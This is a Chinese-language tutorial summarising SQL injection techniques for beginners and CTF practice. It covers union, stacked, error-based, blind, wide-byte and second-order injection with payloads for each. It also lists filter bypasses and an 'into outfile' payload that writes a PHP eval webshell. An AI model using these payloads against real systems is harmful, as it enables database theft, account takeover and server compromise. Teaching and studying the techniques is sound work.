一文总结常见SQL注入
目录
[TOC]
观前须知
本文主要是对SQL注入进行一个总结整理,所讲并不是非常详细,0基础新手推荐浏览学习参考
中的其他文章
在本文中,#号前面两个空格后面一个空格的这种形式是笔者对于代码的注释,跟代码本身无关,代码本身注释的#号前仅有零至一个空格
前置知识
MySQL四个基本数据库
Mysql
sys
Information_schema
performance_schema
这四个是mysql的基本数据库,安装时自带,是mysql自己使用的数据库
大小包含关系
行(元组,或记录) < 列(或字段) < 表 < 数据库
重要表
Information_schema
库下的三个重要的表Information_schema.schemata
表 —-> 提供当前mysql实例中所有数据库信息Information_schema.tables
表 —-> 提供当前数据库中的表的信息Information_schema.columns
表 —-> 提供目标表中的列信息
重要列(或字段)
table_name
table_schema
column_name
schema_name
注入点分类
get
注入
在get传参时写入参数,将SQL语句闭合,后面加写入自己的SQL语句。post
注入
通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。cookie
注入有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。
Referer
注入
Referer正确写法应该是Referrer,因为http规定时写错只能将错就错,有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网站流量,我们将访问路径进行SQL注入,同样也可以得到想要的信息。XFF
注入
在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9’ ,用户在注册的时候,如果存在安全隐 患,会出现错误页面或者报错。从而导致注册或者登录用户失败。
常用语句、函数解释
1 | select version() # 查数据库版本 |
SQL通配符
%
代替0至多个字符_
代替一个字符[charlist]
字符列中任意单一字符[^charlist]
或[!charlist]
不在字符列中的like
若其后面没有通配符,等效于”=”
联合注入
原理及核心
利用union进行SQL语句拼接以执行想要执行的命令
基本条件
union未被过滤,或即使被过滤但仍能绕过
页面有结果回显位
基础流程
判断注入点及注入类型
判断是那种类型的注入点,常见的是GET和POST注入
判断是字符型还是数字型注入
其中字符型注入,一般用'
"
')
")
等符号闭合
判断联合注入所需字段数
常用order by
示例:
1 | order by 3 |
判断回显点
即在什么位置可以显示出查询的数据
查询数据库名
示例:
1 | union select 1,database(),3,... |
查询表名
示例:
1 | union select 1,2,group_concat(table_name),... from information_schema.tables where table_schema=<库名> |
查询表中字段(列)
示例:
1 | union select 1,2,group_concat(column_name),... from information_schema.columns where table_name=<表名> |
查询目标字段的具体记录(目标数据)
示例:
1 | select 1,2,group_concat(<列名>),... from <表名> |
堆叠注入(writing)
原理及核心
MySQL数据库SQL语句的默认结束符是以;
结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;
结束一条SQL语句后继续构造下一条语句,是否会一起执行?
因此这个想法也就造就了堆叠注入
其核心在于多条SQL语句通过分号分隔进行命令执行
基本条件
分号未被过滤,或即使被过滤但仍能绕过
目标中间层查询数据库信息时可同时执行多条SQL语句
例如使用了
mysqli_multi_query()
函数页面有结果回显位
基础流程
查询数据库名
示例:
1 | show databases;# |
查询表名
示例:
1 | show tables;# |
查询表中字段(列)
示例:
1 | show columns from <表名>;# |
倘若表名为数字,注意需要用 `来闭合包裹
查询目标字段的具体记录(目标数据)
(1)改名已有名称,让现有select帮我们查询
参见题目[强网杯 2019]随便注
示例:
1 | 1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;# |
其中,
1 | 1'; # 闭合前语句 |
1 | RENAME TABLE `words` TO `words1`; # 将表words改名为words1 |
这样子,原有select本来是查询id的数据,现在就变为查询flag的数据了
(2)利用concat拼接
示例:
1 | 1';seT @a = CONCAT('se','lect * from `1919810931114514`;'); prepare flag from @a;EXECUTE flag;# |
又或者是
使用hex对
1 | select * from ` 1919810931114514 ` |
进行编码
1 | 1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;# |
其中prepare中的flag和execsql均为代称
报错注入(writing)
原理及核心
通过注入恶意代码,触发数据库的错误响应,并从错误信息中获取有用的信息
基本条件
floor()
extractvalue()
updatexml()
未被全过滤,或被过滤但可以绕过页面有报错回显
floor()报错注入
大致格式
1 | 'union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "一个足够大的表" group by x)a--+ |
查询数据库名
示例:
1 | 1' and (select 1 from (select count(*),concat(0x23,(database()),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+ |
PS:0x23即16进制的#号,主要作用是便于观察查询的数据
查询表名
示例:
1 | 1' and (select 1 from (select count(*),concat(0x23,(select table_name from information_schema.tables where table_schema=<库名>),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+ |
查询表中字段(列)
示例:
1 | 1' and (select 1 from (select count(*),concat(0x23,(select column_name from information_schema.columns where table_schema=<库名> and table_name=<表名>),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+ |
倘若表名为数字,注意需要用 `来闭合包裹
查询目标字段的具体记录(目标数据)
1 | 1' and (select 1 from (select count(*),concat(0x23,(select <字段名> from <库名>.<表名>),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+ |
extractvalue() 和 updatexml()报错注入
extractvalue() 和 updatexml()的相同与区别
从 MySQL5.1.5 开始,提供两个 XML 查询和修改的函数:extractvalue() 和 updatexml()
extractvalue() 负责在 xml 文档中按照 xpath 语法查询节点内容,updatexml() 则负责修改查询到的内容
updatexml使用三个参数,extractvalue只有两个参数
它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里
‘~’不是xml实体,所以会报错
查询数据库名
示例:
1 | 1' and (select updatexml(1,concat(0x23,(select database())),0x23))--+ |
查询表名
示例:
1 | 1' and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+ |
PS:0x7e即~的16进制写法,效果与0x23一样,只是作为易识别的标识,换成0x24(即$)亦可
同时这里使用group_concat()一次性查完所有数据
查询表中字段(列)
示例:
1 | 1' and (select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='emails')),0x7e))--+ |
查询目标字段的具体记录(目标数据)
示例:
1 | 1' and (select updatexml(1,concat(0x7e,(select group_concat(email_id)from security.emails)),0x7e))--+ |
布尔盲注(writing)
原理及核心
盲注查询是不需要返回结果的,仅判断语句是否正常执行即可,所以其返回可以看到一个布尔值,正常显示为true,报错或者是其他不正常显示为False
通过length函数 判断数据库长度和数据表字段信息数量。
通过substr、ascii函数 判断数据库名、表名、字段值等。
基本条件
length()
substr()
ascii()
未被过滤,或被过滤但可以绕过- 页面有正确或错误的回显提示
基础流程
判断数据库长度
示例:
1 | ' and length(database()) = 8 --+ # 判断数据库大小是否为8 |
依次判断数据库每一位的字符以获取数据库名
示例:
1 | ' and substr(database(),1,1) = 's' --+ # 判断数据库第一位的字母是否为s |
判断表的长度
示例:
1 | 'and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6--+ # 获取第一个表名长度是否为6 |
依次判断表每一位的字符以获取表名
示例:
1 | 'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=117--+ # 获取第一个表的第一个字符的ascii码值是否为117 |
判断字段(列)长度
示例:
1 | 'and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=6--+ |
依次判断字段(列)每一位的字符以获取字段(列)名
示例:
1 | 'and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117--+ # 判断字段长度名称第一个字母的ascii |
时间盲注(writing)
原理及核心
如论我们输入的语句是否合法,页面的显示信息是固定的,即不会出现查询的信息,也不会出现报错信息。可以尝试基于时间的盲注来测试。根据页面响应的时间,来判断输入的信息是否正确。
在可以判断返回正确还是错误的情况下,两种注入方法都可以用,延时注入更倾向于无法判断正误,通过自己构造页面刷新时间来判断正误。
if(条件,A,B)如果条件成立执行A 否则执行B
基本格式
1 | ' and if ((ascii(substr(database(),1,1))>50),sleep(3),1) –-+ |
宽字节注入
其实这更偏向于一种绕过手段而非独立的注入类型
原理及核心
前提须知
- GBK 是占两个字节(也就是名叫宽字节,只要字节大于1的都是)
- ASCII 占一个字节
- PHP中编码为GBK ,函数执行添加的是ASCII编码,mysql默认字符集是GBK等宽字节字符集
漏洞成因
- 比如使用
%df'
:会被PHP当中的addslashes函数转义为%df\'
\
即url里面的%5c
,'
对应的url编码是%27
,那么也就是说,%df
会被转义%df%5c%27
- 倘若网站的字符集是GBK,MySQL使用的编码也是GBK的话,就会认为
%df%5c%27
是一个宽字节 %df%5c
会结合(因为宽字节是占两个字节),也就是縗
。后面就有一个'
。就造成了一个攻击效果。
此外
不仅仅只是使用
%df'
进行宽字节绕过也可以使用其他的宽字节,只有满足字符串编码的要求常见使用的宽字节就是
%df
,其实当我们输入第一个ascill大于128就可以,转换是将其转换成16进制,比如129转换0x81,然后在前面加上%就是%81GBK首字节对应0x81-0xfe(129-239), 尾字节对应0x40-0xfe(64-126)(除了0x7f)
比如一些
%df'
%81'
%82'
%de'
等等(只要满足上面的要求即可)
基本条件
使用了addslasehes()
mysql_real_escape_string()
转义函数
二次注入
原理及核心
二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高
普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询
在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在后端代码中可能会被转义,但在存入数据库时还是原来的数据,数据中一般带有单引号和#号,然后下次使用在拼凑SQL中,所以就形成了二次注入。
基本条件
用户可向数据库插入恶意语句
数据库直接取出恶意数据给用户
大致过程
- 插入1‘#
- 转义成1\’#
- 不能注入,但是保存在数据库时变成了原来的1’#
- 利用1’#进行注入,这里利用时要求取出数据时不转义
基本流程
参见题目sqli-lab24
向数据库中插入恶意代码
例如:
注册admin '#
用户
让服务器取出恶意数据并利用
例如:
对于这段密码更新的SQL语句
1 | UPDATE users SET PASSWORD='$new_pass' where username='$username' and password='$curr_pass'; |
修改admin '#
的账户密码,因为取出的数据未被转义,结果变成了
1 | UPDATE users SET PASSWORD='$new_pass' where username='admin '#' and password='$curr_pass'; |
此时修改的其实是admin的密码,在where关键词后,对于输入的密码是否与原密码的判断被#注释掉了,导致即使不知道admin的原密码,却仍然修改成功
文件读写
基本条件
- 当前用户有权限读取写入文件,数据库用户有FILE权限,File_priv为yes
- 文件大小小于max_sllowed_packet限制
- secure_file_priv值为空(若值为某目录,只能对该目录的文件操作)
- 可以获取文件路径
文件读取
利用函数
load_file(<文件路径>)
基本格式
1 | 1' union select 1,2,load_file('<文件路径>');# # 注意转义问题 |
文件写入
利用函数
1 | into Outfile # 能写入多行,按格式输出 |
PS:若magic_quotes_gpc = On
,'
"
\
和NULL字符\0
会被反斜杠转义,需要考虑编码或宽字节绕过
基本格式
1 | 1' union select 1,'<?php eval($_REQUEST[123]); ?>',3 into outfile '<文件路径>';# |
一些过滤的应对措施
特定字符串匹配置空
双写绕过
空格过滤
Tab
%0a
/**/
()
等代替
引号过滤
利用hex转16进制绕过
or、and过滤
用||
、&&
代替
等号绕过
like
代替
regexp
正则匹配替代
>
<
等效代替
关键词绕过
/**/
<>
%0a
隔断
大小写替换
注释绕过
换行符
分号过滤
通过delimiter关键字修改结束符
逗号过滤
1 | 对于`substr()`和`mid()`可用`from to` |
1 | 对于`limit`可用`offset` |
1 | union select 1,2 |
1 | select ascii(mid(user(),1,1))=80 |
通用绕过
编码绕过,例如ASCII,HEX,unicode
等价函数绕过
hex()
,bin()
<—> ascii()
sleep()
<—> benchmark()
concat()
<—> group_concat()
mid()
,substr()
<—> substring()
盲注时select被过滤
delete from flag where data like 'f%' and sleep(5)
杂项
- 通过system关键字可以进行RCE
- select过滤有时可用handler代替
参考
- 从0到1,SQL注入(sql十大注入类型)收藏这一篇就够了,技术解析与实战演练 - FreeBuf网络安全行业门户
- SQL注入一些过滤及绕过总结
- SQL注入Bypass
- 【超详细版】SQL注入原理及思路绕过(看这篇就够了)_sql注入order by绕过-CSDN博客
- SQL注入之盲注(布尔盲注和时间盲注)_布尔盲注流程-CSDN博客
- SQL注入进阶之路-针对堆叠注入的研究 - mi2ac1e - 博客园 (cnblogs.com)
- 最常见的SQL报错注入函数(floor、updatexml、extractvalue)及payload总结_报错注入payload-CSDN博客
- SQL注入之宽字节注入演示(详细介绍宽字节)_sqlmap宽字节注入脚本、-CSDN博客
- 【CTF】二次注入原理及实战-CSDN博客
- 【SQL注入-文件读写】文件的读取+写入:函数、使用方法_sql注入读文件-CSDN博客
- SQL盲注(原理概述、分类)-CSDN博客
- SQL注入针对关键字过滤的绕过技巧 - zu1k